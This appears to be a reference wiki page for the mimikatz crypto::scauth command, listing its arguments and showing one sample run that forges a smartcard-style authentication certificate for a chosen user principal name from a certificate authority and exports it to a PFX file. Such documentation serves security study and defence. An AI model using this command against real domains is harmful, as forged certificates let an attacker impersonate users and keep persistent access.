scauth ๐Ÿ› ๏ธ
Work in progress
crypto::scauth it creates a authentication certificate (smartcard like) from a CA. It has the following command line arguments:
  • /hw: at the time of writing, 17th December 2021, we don't know what this option is used for
  • /csp: the crypto certificate provider
  • /pin: the smartcard PIN
  • /nostore: do not interact with the store
  • /caname: the subject name of the certificate authority (needed to sign the certificate)
  • /castore: the system store that contains the certificate authority (default: CERT_SYSTEM_STORE_LOCAL_MACHINE)
  • /upn: the User Principal Name (UPN) targeted (eg: [email protected])
  • /pfx: the filename for saving the final certificate (default: no file, stored in CERT_SYSTEM_STORE_CURRENT_USER)
1
mimikatz # crypto::scauth /caname:KiwiAC /upn:[email protected] /pfx:user.pfx
2
CA store : LOCAL_MACHINE
3
CA name : KiwiAC
4
CA validity : 22/08/2016 22:00:36 -> 22/08/2021 22:10:35
5
Certificate UPN: [email protected]
6
Key container : {a1bd29ec-4203-4aac-8159-40f28f96335b}
7
Key provider : Microsoft Enhanced Cryptographic Provider v1.0
8
Private Export : user.pfx - OK
Copied!
Last modified 6mo ago
Copy link